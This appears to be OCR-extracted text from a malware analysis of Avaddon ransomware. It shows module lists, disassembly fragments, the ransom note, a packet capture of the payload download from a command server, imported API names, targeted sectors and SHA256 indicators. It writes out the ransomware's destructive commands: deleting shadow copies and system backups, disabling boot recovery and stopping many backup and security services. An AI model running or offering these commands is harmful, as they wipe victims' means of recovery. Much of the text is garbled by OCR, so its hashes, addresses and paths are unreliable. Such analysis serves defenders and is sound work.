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THE FLOW

C:\\Windows\\SysWOW64\\ntdll.d11 0x0000000077C900000x0000000000180000

C:\\Windows\\syswows4\\RECRT4.dLL  0x0000000075E50000 0x00000000000F0000
CE\\Wihdows\\sy8woW6A\\SSPECIE - LL ] 0x0000000075800000 0%0000000000060000
€5\ \Windows\ \syswow4\\CRYETBASEALL ] 0x00000000757F0000 0%000000000000C000
G5\ \Windows\\syswows4\\SHELL32.LL ] 0x0000000076980000 0x0000000000C43000
C:\\Windows\\syswows4\\SHLWAZ. ALl 0x00000000763300000x0000000000057000
Co\\Wilndows\ \syswows4\\GDT32. ALL ] 0x0000000077760000 0%0000000000030000
G5\ \Windows\\syswows\\USER32.LL ] 0x0000000076600000 0%0000000000100000
o\ \Wilndows\ \sy8WoWS AN NEPK AL ] 0x0000000076320000 0%000000000000A000
CE\\Windows\ \sySwows A\ \USEL0- AL 0x00000000777F0000 0%0000000000035000
G2\ \Windows\ \syswows4\NGLe32. GLL ] 0x00000000761B0000 0x0000000000156000
€5\ \Windows\\syswows4\\OLEAUT32.dLL . 0x0000000075E30000 0x000000000008F000
Co\\Windows\ \syswow§ 4N \MBR.ALL ] 0x0000000075610000 0%0000000000012000
G5\ \Windows\\syswows4\\NETABT32.dLL . 0x00000000755C0000 0x0000000000011000
Co\\Windows\ \syswows 4\ \meEEL LS - dLL ] 0x00000000755A0000 0%0000000000009000
€5\ \Windows\\syswows4\\sEVELL dLL ] 0x0000000075580000 0%0000000000019000
C:\\Windows\\syswow64\\wkscli.dll ~  0x0000000075570000 0x000000000000F000
CE\\Wilndows\ \sySwows N \DESCLE. DEE 1 0x0000000075560000 0%0000000000005000
€5\ \Windows\\syswows4\NTPLEARLDEL ] 0x0000000074E00000 0%000000000001C000
G5\ \Windows\\syswow§4\ANST.ALL ] 0x0000000076310000 0x0000000000006000
CE\\Windows\\ sy SWow6 A\ \WENNST . DLE ] 0x0000000075550000 0%0000000000007000
G2\ \Windows\ \syswows4\\WS2_32.LL ] 0x0000000076170000 0x0000000000035000
Co\\Windows\ \syswow64\ \RS g DLL ] 0x0000000074DD0000 0%0000000000028000
G2\ \Windows\\syswows4\\AGEYDE. GLL ] 0x0000000074D90000 0x0000000000038000
C#\\Windows\ \sy8wows 4N \BGEYPE. L 0x0000000074D70000 0%0000000000017000
CE\\Wilndows\ \syswows 4\ \MSASNL. GLL ] 0x0000000075B40000 0%000000000000C000

push dword 8x76843294

call dword ex7esel2ef .
cmp eax, edi 0 ======= === Your network has been infected! m=m————
jz ex7ez2fees

push dwerd [ebp-@x5c]
call eax

test eax, eax

jz ex7egafecs

mov [ebp-8x48], edi

*
*
*
*
*
*
*
*
*
*
*
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*

FERERRRRRRRRAAAASS DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED

Al1l your documents, photos, databases and other important files have been encrypted and have the extension: .bBeAEebbe

C:\\Windows\\syswow64\\CRYPT32.d1l 0x000000000011C000 j : :
_8:8383233333?38333_ coc o000 > s 0060600606060 .> izztﬁzfglme] o1 o o 0 0 0 o > You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files!

€ \\Windows\\syswow64\\MSCTELALL L 0x0000000076700000 0x000000000006C000 - dword d3a3 . . . . .

€:\\Windows\\syswow64\\CRYPTSP.d1L __ 0x0000000074D500000x0000000000016000 iz ex7es2d3a3 The only way to restore your files is to buy our special software. Only we can give you this software and only we can restore
C:\\Windows\\syswow64\\rsaenh.dll  0x0000000074A500000x0000000000038000 push @xed

€:\\Windows\\Syswow64\\wmhgs 1L 0x0000000074A30000 0x0000000000011000 .

_o:oooooooounqoooo_ _ we have also downloaded a lot of private data from your network. ] ]
€:\\Windows\\Syswow64\\dzprov.dLL . 0x0000000074A20000 0x0000000000008000 If you do not contact as in a 3 days we will post information about your breach on our public news website (avaddongun7rngel.
€ \\Windows\\Syswow64\\WINSTA. AL 0x00000000749F0000 0x0000000000029000 push eax

€:\\Windows\\Syswow64\\ntlanman.dLL L 0x00000000749D0000 0%0000000000014000 . . . . . .
—o:ooooooooueaoooo_ push dword [ebp-ex34] You can get more information on our page, which is Tocated in a Tor hidden network.

push dword excelsesee

mov edi, exceeses22

cmp eax, edi

mov [ebp-8x38], eax

jnz ex7es2ffse

test byte [ebps+ex2e], exl

C:\\Windows\\syswow64\\NTDSAPT.A11 ~ 0x00000000747200000x0000000000018000
C:\\Windows\\syswow64\\apphelp.dll ~  0x00000000747500000x0000000000048000

C:\\Windows\\syswow64\\uxtheme.d11  0x00000000744500000x0000000000080000
C:\\Windows\\SysWOW64\\actxprxy.dll ~  0x00000000744000000x000000000004E000
C:\\Windows\\syswow64\\profapi.dll ~  0x00000000745500000x0000000000008000
C:\\Windows\\syswow64\\ntmarta.dll 0x00000000744E00000x0000000000021000
C:\\Windows\\syswow64\\WLDAP32.d11  0x00000000765000000x0000000000045000
C:\\Windows\\syswow64\\propsys.a11 ~  0x00000000730C00000x00000000000F5000
C:\\Windows\\syswow64\\SETUPAPT.d1L 0x0000000075C400000x000000000015D000
C:\\Windows\\syswow64\\CFGMGR32.d1L.  0x00000000763900000x0000000000027000
C:\\Windows\\syswow64\\DEVOBJ.d1L ~ 0x00000000767D00000x0000000000012000
C:\\Windows\\syswow64\\ntshrui.dll ~  0x0000000072F00000 0x000000000006F000
C:\\Windows\\syswow64\\cscapi.air 0x00000000745400000x0000000000008000
C:\\Windows\\syswow64\\slc.d11 0x00000000745300000x0000000000002000
C:\\Windows\\syswow64\\mssprxy.dl1 0x00000000745200000x000000000000C000
C:\\Windows\\syswow64\\DNSAPT.11  0x00000000743600000x0000000000044000
C:\\Windows\\syswow64\\rasadhlp.d1r ~  0x0000000073DB00000x0000000000006000
C:\\Windows\\SysWOW64\\bcryptprimitives.dll ~  0x00000000743C00000x000000000003D000
C:\\Windows\\SYSTEM32\\ntdll.dlL  0x0000000077AB00000x0000000000128000
C:\\Windows\\SYSTEM32\\wow64.d11  0x0000000073E700000x000000000003F000
C:\\Windows\\SYSTEM32\\wow64win.d1l 0x0000000073E100000x000000000005C000
C:\\Windows\\SYSTEM32\\wow64cpu.dll  0x0000000073E000000x0000000000008000
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Downloading the Ransomware

Start Downloading

(UDURRANTI)

TO IP ADDRESS c2_ip_ad

PORT INFORMATION (49725, 80)
SEQUENCE INFORMATION (3544905706, 0)
!URG:@ | ACK:@ | PSH:@ | RST:@ | SYN:1 | FIN:0|

(UDURRANI)
TO IP ADDRESS 10.0.0.10
PORT INFORMATION (80, 49725)
SEQUENCE INFORMATION (3400328007, 3544905707)

dress

!URG:O | ACK:1 | PSH:@ | RST:0 | SYN:1 | FIN:0Q|

(UDURRANT )

L) TO IP ADDRESS c2_ i

PORT INFORMATION (49725, 80)
SEQUENCE INFORMATION (3544905707, 3400328008)
URG:® | ACK:1 | PSH:@ | RST:@ | SYN:@ | FIN:0|

00 00 00 00 00 00

(DATA PUSH!) IS COMING FROM
PORT INFORMATION (49725, 80)
SEQUENCE INFORMATION (3544905707, 3400328008)

(UDURRANTI)

UAA/ITO IP ADDRESS c2_i

p_address

URG:0@ | ACK:1 | PSH:1 | RST:@ | SYN:0 |

(DATA PUSH?) IS COMI

(UDURRANTI)
TO IP ADDRESS 10.0.0.10
PORT INFORMATION (8@, 49725)
SEQUENCE INFORMATION (3400328008, 3544905849)

!URG:O | ACK:1 | PSH:@ | RST:0 | SYN:@ | FIN:0Q|

(UDURRANTI)

PORT INFORMATION (80, 49725)
SEQUENCE INFORMATION (3400328008, 3544905849)

URG:@ | ACK:1 | PSH:1

48 54
0A 44
61 6E
20 47
61 63
69 61

FIN: Q|

p_address

HEAD /rans.exe HT

TP/1.1..Connecti
on: Keep-Alive..
Accept: x/*..Acc
ept-Encoding: id
entity..User-Age
nt: Microsoft BI
TS/7.5..Host: 21
7.8.117.63....

| RST:0@ | SYN:@ | FIN:O|

20
72
31
72
2E
73

30
2C
3A
65
32
2D

20 4F
32 32
35 3A
3A 20
28 44
6F 64

NG FROM [FPIETIELLITYH TO IP ADDRESS 10.0.0.10

HTTP/1.1 200 OK.
.Date: Fri, 22 J
an 2021 19:05:12
GMT..Server: Ap
ache/2.2.22 (Deb
ian)..Last-Modif

Download BINARY

[PEETIELLIEE 70 IP ADDRESS 10.0.0.10
PORT INFORMATION (80, 49725)

SEQUENCE INFORMATION (3400328322, 3544906042)
URG:@ | ACK:1 | PSH:@ | RST:@ | SYN:0 | FIN:O|

HTTP/1.1 200 OK.
.Date: Fri, 22 ]
an 2021 19:05:12
GMT..Server: Ap
ache/2.2.22 (Deb
ian)..Last-Modif
ied: Fri, 22 Jan
2021 18:54:53 G
MT..ETag: '482d2
—-c1e57-5b981b93b
894c"..Accept-Ra
nges: bytes..Con
tent-Length: 794
199. .Keep—-Alive:
timeout=5, max=
99..Connection:
Keep-Alive..Cont
ent-Type: applic
ation/x-msdos—pr
ogram....MZ.....

R R RRRIIERY =

+ 4+ + + + +

Source-Ip:

10.0.

Source-Port:
(31743, 30702)
Control-Flag [13]: ack

8o,

0.10 —> Dest-Ip: 10.0.0.

Dest-Port: 49705

188

enProcess...Crea
teToolhelp32Snap
shot....Sleep.c.
GetLastError../.
Process32NextW..
..GetCurrentThre
ad..—-.Process32F
irstW...CloseHan
dle.G.HeapAlloc.
..GetThreadConte
xt....GetProcess
Heap....CreatePr
ocessW....CopyFi
leW...OpenMutexW
«+..GetTickCount
.« .. IsDebuggerPr
esent...CheckRem
oteDebuggerPrese
nt.. .GetVolumel
nformationW...Wr
iteFile...Create
FileW.t.ReadFile
..N.GetFileSizeE
X. .« GetQueuedCom
pletionStatus.G.
GetFileAttribute
sW..$.PostQueued
CompletionStatus
.o SetFileAttri
butesW....GetSys
temInfo.$.SetFil
ePointerkEx....Mo
veFileExW...Crea
teIoCompletionPo
rt....FindFirstF
ileW....FindNext
FileW.;.GetEnvir
onmentVariableW.
w.FindClose.+.Ge
tDiskFreeSpaceW.
e.GetLocaleInfoA
.« .. GetComputerN
ameA. .KERNEL32.d
11..Q.QueryServi

| ceStatusEx..

E....)@.@.t—-....
..... P.){..rw...

rviceW....RegOpe
nKeyExW...StartS
erviceW...OpenPr
ocessToken....Re
gSetValueExW....
EnumDependentSer
vicesW..j.Contro
1Service....Dele
teService...Open
SCManagerW..e.Cl
oseServiceHandle
.. [.RegCloseKey.
..InitiateShutdo
wnW. ..AdjustToke



ALL_ACTIVITY

b%dedit.exe /set {default} recoveryenabled No
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120
vssadmin.exe Delete Shadows /All /Quiet

P c:\documents and settings\user1\payload.exe

C:\\MSOCache\All Users\{
iy II // -7
\ \

98140000-00BA-0409-0000-0000000FF 1CE}-C\foo-007-readme.html
C:\MSOCache\All Usars\{90140000-0115-0409-0000-0000000FF1CE}-C\foo-007-readme html
e L

file_creation

P C:\MSOCache\All Users\{90140000-0116-0409-1000-0000000FF1CE}-C\foo-007-readme.html

>
z z f= z
2 2 2 2
N - N N
Q Q Q Q
< < < Q
| %] gl %J) é
g 3 8 8I
5, k=
CAMSOCache\All Users\{90148000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\foo-007-readme. html e crention
X i
__ _ 4 CA\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\foo-007-readme html ‘112&
\ =:::::::::::::::::: ____
| R P CAMSOCache\All Users\{91140000-0011-0000-0000-0000000FF1CE}-C\foo-007-readme.html
1 N T~
| :‘\‘\‘ S~ T TTee—e _» C:\f001\f002\f00-007-readme.html
\ NS TS -
\‘ :‘u‘\\\‘ M. T Tt e _______ » C:\oo1\foo2\foo3\foo5\f00-007-readme.html
RN
\ MTLRATEEN S~
| :\u\\ > CAUSemsfoe\AppData\Roaming\Microsoft\Crypto\RSA\S- 1-5-21-843043956-3771856219-1177494106-500\da216¢1432c285c855928d827fa85e7_c7928fc6-52{d-4727-ae12-abab8 Tad76c &
\ mw \ < TSI TTTTTT-TTTToTTTT . L
\ o el Ci\Users\foo\AppData\LocalLow\Micrgsoft CryptnetUrlCache\MetaData\57CS8EDB9SDF3FOAD4EE2DC2BSCFD4157 url_activity process_activity
\ g ~. T T TTmmmmmsmmsmmmm s s T
| N N T Ci\Users\foo\AppData\LocalLow\Microgoft\CryptnetUrlCache\Content\S7TCSEDBISDF3F0ADAEE2DC2BSCFD4157
\ TR \\ \\\~ __________________________
! W N T T T » CiUsers\foo\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BDODOE0426DC8F8008506
\ v © .o -
‘\ niy ‘\ N e - C:\Users\foo\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BDODOE0426 DC8F8008506 lo
n N
1 VA - -
\ R AN = CAUsers\foo\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A 10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E15SADOBA27
1 vy AN
\ S~
\ VAN = CAUsers\foo\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B 18_28DEA62A0AE77228DD387E155ADOBA27
\ RN
! NN T -- » C:\foo-007-readme.html
AN, 20
! N T T —— » C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\foo-007-readme html
N
\ vV S <
' VN T » C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\foo-007-readme html (ED '\E
\ < [ 7]
\ S - - =
\ N T T . C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF 1CE}-C\foo-007-readme html N 11 gl
\ ~
| e ____ » C:\MSOCache\All Users\{90140000-001 A-0409-0000-0000000FF1CE}-C\foo-007-readme html
1
" """"""""""""""""""""""" #23.37.124.19 file_deletion
| connectivityy— -~ — = = = = = = == = - - oo oo »2337.1248
ST - »10421.23.5
R »172.67.208.45

dns_activity

ip_connectivity

reg_activity

file_deletion

100
- C:\Users\foo\payload.exe ! ! ! ! ! |
80
—» wmic.exe SHADOWCOPY /nointeractive
_______ wbadmin DELETE SYSTEMSTATEBACKUP _ _ _ _ _ _
» Wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest 60
C:\Users\foo\AppData\Local\Temp\_Loc091.tmp
! _ } } ! ! ! !
! e delete - -<---—~n——rssrII SIS SIS0 D000 05 2 B CAUsers\foo\AppData\Local\Temp\Cab789.tmp
1 -
1 r
/ / R iy » C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\foo-007-readme. html
! ‘ ! 4 g - 4 ! 4 4 4
K / ' T L L et P C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\foo-007-readme.html 20
7/ -
1 ’ ey 7
K L S meem T > C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\foo-007-readme. html
S -
i / iy ’
' IS e > CAMSOCache\All Uses{50140000-002C-0409-0000-0000000FFICE}-CProo ffoo-007 eadme bl e A
oy AV 0 .
I
' il e e e > C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\foo-007-readme html
1r ey 5 4 e -
- R A e # C:MSOCache\All Users\{90140000-0044-0409-0000-0000000FF 1CE}-C\foo-007-readme html
iy 7 S U
we ook, s e s T T T T T T T T T T T T T - L
% ,‘,’,’,,'/, A CAMSOCache\All Users\{90130000-00A1-0409-0000-0000000FF1 CE}-C\foo-007-readme. html
| LT o=
\ \\ 'l‘l‘lll,l, , ) . e
LN wy 0 T
‘\ \\ o, 0
1 \ iy

y

url_activit



RANSOMWARE CAN RUN THE FOLLOWING COMMANDS AS WELL
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vssadmin.exe Delete Shadows /all /quiet

bcdedit /set default recoveryenabled No & bcdedit /set default
sc config Netbackup Legacy Network service start= disabled
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VeeamDeploySvc /y

Acronis VSS Provider /y

SQL Backups /y

SQLsafe Backup Service /y
SQLsafe Filter Service /y
Symantec System Recovery /y
Veeam Backup Catalog Data Service /y
Zoolz 2 Service /y
AcrSch2svc /y

ARSM /y
BackupExecAgentAccelerator /y
BackupExecAgentBrowser /y
BackupExecDeviceMediaService /y
BackupExecJobEngine /y
BackupExecManagementService /y
BackupExecRPCService /y
BackupExecVSSProvider /y
bedbg /y

MMS /y

mozyprobackup /y
MSSQLSVEEAMSQL2008R2 /y
ntrtscan /y

PDVFSService /y

SDRSVC /y

SNAC /y

SQLAgent $SVEEAMSQL2008R2 /y
SQLWriter /y

VeeamBackupSvc /y
VeeamBrokerSvec /y
VeeamCatalogSvc /y
VeeamCloudSvc /y
VeeamDeploymentService /y
VeeamDeploySvc /y
VeeamEnterpriseManagerSvc /y
VeeamHvIntegrationSvc /y
VeeamMountSvc /y

VeeamNFSSvc /y

VeeamRESTSvc /y
VeeamTransportSvc /y
wbengine /y

wbengine /y
sms_site_sql_backup /y
MsDtsServer /y
MsDtsServerl00 /y
MsDtsServerll0 /y
msftesql$PROD /y

RANSOMWARE Will use a random string for decryption and a random string for the ransomNote’
*.txt.dADAaebeE

cnoKNY_readme_. txt

Initial price for this ransom is $650000

The ransomware group is also famous for uploading customers data

the company does not want to cooperate with us, so we give them
240 hours to communicate and cooperate with us. If this does not happen before the time
counter expires, we will leak valuable company documents.

We have a large amount of data on mobile devices, tens of thousands of SIM cards and a

lot of information for them, financial information, contracts, banking information and much

more.

Also remember that data cannot be decrypted without our general decryptor. And your site will

be attacked by a DDoS attack.
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Chrome HIML Do
Chrorne HIML Do
Chioene HIML Da...
Cheorme HTL D
Chrore HTMI Do,
Chrome HIMI Do,
Chrome HTMLDs..
Chreme HIML Do
Chrome HIML Do..
Chrome HINL Do
Chiome HIML Do
Chwoene HTML Do,
Cheoene HTMI Do
Cheorne HTMI Do,
Chroeme HTML Do,
Chrome HTML Do,
Chreme HIML Do
Chrome HIML Do
Chromez HIML DS .
Choez HIML Do,
Chuore HTNIL D
Chyore NI D
Chiorne HTMI Do,
Chrorme HTMI Do,
Chrerme HIML Do
Chrome HIML Do
Chrome HIML Do,
Cheome HINL Do
Cheome MWL Do
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Cheoerve HTW Da..
Cheorne HTWI Do,
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Chreene | ITWL Do

Chreme HIWL Do
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@ Monero

) Bitcoin

11.81882239 BTC

650000 USD
bclg4t2dyqjsfwe2exdhrccppm2vs2z5ghqetgkuac

1. Buy the Bitcoin cryptocurrency. You will find instructions how you can do it below.

2. Send 11.81882239 BTC to the address:
bclq4at2dyqjsfwe2exdhrccppm2vs2z5ghqgetgkuac (in ONE payment, this amount doesn’t
include the transaction fee)

3. The transaction will be confirmed after receiving 6 confirmations

4. When the payment is confirmed, you can download the Avaddon General Decryptor.

Attention!

Please be careful and visually check the address after copy-paste (because on your PC
there is probably a malware monitoring and changing the address in your clipboard)



INTEL & BEHAVIOR

Belgium
Brazil
Canada
China
Costa-Rica
Czech-Republic

Country France
IGt:jrmany
ndia
Indonesia
Italy

Jordan
INTEL Spain
Academia
Airlines
Construction
Energy
Entertainment

Industry Equipment
Financial

Government
Health

Hospitality
Law-Enforcement

INDICATORS

05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb8413d837778f2
08d459a68bd957e905fdbe55cf402c70a07af9ddcdlaa2cac3d2e386a5888e64
0a052eff71641ff91897af5bdech4a98ed3cbh32bcbhb6ff86c4396ble3ceecec0l84
0ff40581709d278ed662719hb9627618c48e7a656¢c59f6bfecda9081lc7cbhd742b
146e5541f0d56db9a88224cd6921744fdfelf8eeda9e3ac79711f9abl151f9d3c7f
165¢c5c883fd4fd36758bcbabbaf2faffb77d2f4872ffd5ee918a1l6f91de5a8a8
2146FDF65AABD5BA5E917761D016CE693FAAC1846B1042BF4E3BESDO6D3BC383
28adb5fa487a7d726b8bad629736641aadbdacca5e4f417acc791d0e853924a7
2946ef53c8fec94dcdf9d3alafc077ee9a3869each0879ch082eedce3deba2e?
29b5al2cda22a30533e22620ae89c4a36c9235714f4bad2e3944c38ach3c5eee
2e9b7cc95a762baclbbf78d474cdfccc9ecelece86b48f02acl7956345483e7e
331177ca9c2bf@cbacd4acd5d2d40c77991bb5edb6e546913528b1665d8b501f3
397c9elbdb52321de033a577e2277331cal84487954a8689eb1f7d3b61d12d08
46a8cle7681632d69d06bThd93932d102965c9e3f7c37d4a92e30aaeca905675
5252cc9dd3a35f392cc50b298ded4783829812814a192419eb0756039celedfa2
61126delb795b976f3ac8781f48e88fa77a87d7308ba57¢c7642b9e1068403a496
78F1979ES8SEEB1673EDODBC769D142127CE245A6AAD82688FD8BA37C32CD49C7
7811979e88eebl673ed0dbc769d142127ce245a6aad82688fd8ba37c32cd49c7
a77e31cf730330eef6510e124fe6033e071f321e979a149c18e7fc3a5bb8fd6bb
c02ff715c30590bca8fe3b5b97e7f6f66T67bd377f2bd221297cecd2¢cc971e83
ed4068bc3b8684bd1b8e4ada8105976a914041c76703f6343ac5e32d313fe463



